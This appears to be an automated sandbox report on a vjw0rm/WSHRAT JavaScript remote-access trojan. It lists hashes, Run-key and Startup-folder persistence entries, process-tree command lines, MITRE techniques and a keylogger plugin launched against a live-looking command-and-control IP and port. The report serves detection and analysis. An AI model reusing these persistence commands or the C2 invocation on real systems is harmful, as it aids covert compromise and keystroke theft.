vjw0rm | b302998fc5e3ff4a61d22f5c35ea5e168e040d10bc8437cf8c190bfc27e63dd0

General

Target
extracted.js
Size 18KB
Sample210901-efrk2f188x
SHA256 b302998fc5e3ff4a61d22f5c35ea5e168e040d10bc8437cf8c190bfc27e63dd0
MD5 1d9327d69fd263ac645b6a4eef31cb24
SHA1 3cff6c8d464e8c254048635dd68e31225ffcb6e4
SHA512 50cf6ff55a3f73803b4b1313c029e08e66e62ff6de1fd839fec21aecc09d30254616a3b8aab271828a7a69f4835d155ee4af53bb3c4daaa3b4a1cb2305409e2f
MD5 SHA1 SHA512

Score

10^/10

vjw0rm wshrat persistence trojan worm

Malware Config

Signatures

Vjw0rm
Vjw0rm is a remote access trojan written in JavaScript.
trojan worm vjw0rm
WSHRAT
WSHRAT is a variant of Houdini worm and has vbs and js variants.
trojan wshrat

Blocklisted process makes network request 22 IoCs

flow	pid	Process
10	4796	wscript.exe
11	3516	wscript.exe
15	3516	wscript.exe
20	3516	wscript.exe
21	3516	wscript.exe
22	3516	wscript.exe
23	3516	wscript.exe
24	3516	wscript.exe
25	3516	wscript.exe
26	3516	wscript.exe
27	3516	wscript.exe
28	3516	wscript.exe
29	3516	wscript.exe
30	3516	wscript.exe
31	3516	wscript.exe
32	3516	wscript.exe
33	3516	wscript.exe
34	3516	wscript.exe
36	1220	WScript.exe
37	1220	WScript.exe
38	3516	wscript.exe
39	1220	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
2208	kl-plugin.exe

Drops startup file 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\amqolYPJMq.js	wscript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XLUWQJIUG1.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XLUWQJIUG1.vbs	WScript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\amqolYPJMq.js	wscript.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\XLUWQJIUG1 = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Local\\Temp\\XLUWQJIUG1.vbs\""	WScript.exe
Key created	\REGISTRY\MACHINE\software\microsoft\windows\currentversion\run	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XLUWQJIUG1 = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Local\\Temp\\XLUWQJIUG1.vbs\""	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\SEJOKAOI5S = "\"C:\\Users\\Admin\\AppData\\Roaming\\amqolYPJMq.js\""	wscript.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\software\microsoft\windows\currentversion\run	WScript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
35	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Kills process with taskkill 1 IoCs

evasion

pid	Process
1988	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings	wscript.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1988	taskkill.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2208	kl-plugin.exe
2208	kl-plugin.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 4796 wrote to memory of 3516	4796	wscript.exe	74
PID 4796 wrote to memory of 3516	4796	wscript.exe	74
PID 4796 wrote to memory of 1220	4796	wscript.exe	80
PID 4796 wrote to memory of 1220	4796	wscript.exe	80
PID 1220 wrote to memory of 1680	1220	WScript.exe	81
PID 1220 wrote to memory of 1680	1220	WScript.exe	81
PID 1680 wrote to memory of 1988	1680	cmd.exe	83
PID 1680 wrote to memory of 1988	1680	cmd.exe	83
PID 1220 wrote to memory of 2208	1220	WScript.exe	84
PID 1220 wrote to memory of 2208	1220	WScript.exe	84
PID 1220 wrote to memory of 2208	1220	WScript.exe	84

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\extracted.js
1⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4796
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\amqolYPJMq.js"
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  - Adds Run key to start application
  PID:3516
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\XLUWQJIUG1.vbs"
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:1220
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c taskkill /F /IM kl-plugin.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1680
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM kl-plugin.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1988
- - C:\Users\Admin\AppData\Local\Temp\kl-plugin.exe
    "C:\Users\Admin\AppData\Local\Temp\kl-plugin.exe" 194.5.97.156 8256 "WSHRAT|3ED10BF6|GFBFPSXA|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 9/1/2021|Visual Basic-v2.0|NL:Netherlands" 1
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:2208

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2208-123-0x0000000002710000-0x0000000002711000-memory.dmp

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Analysis

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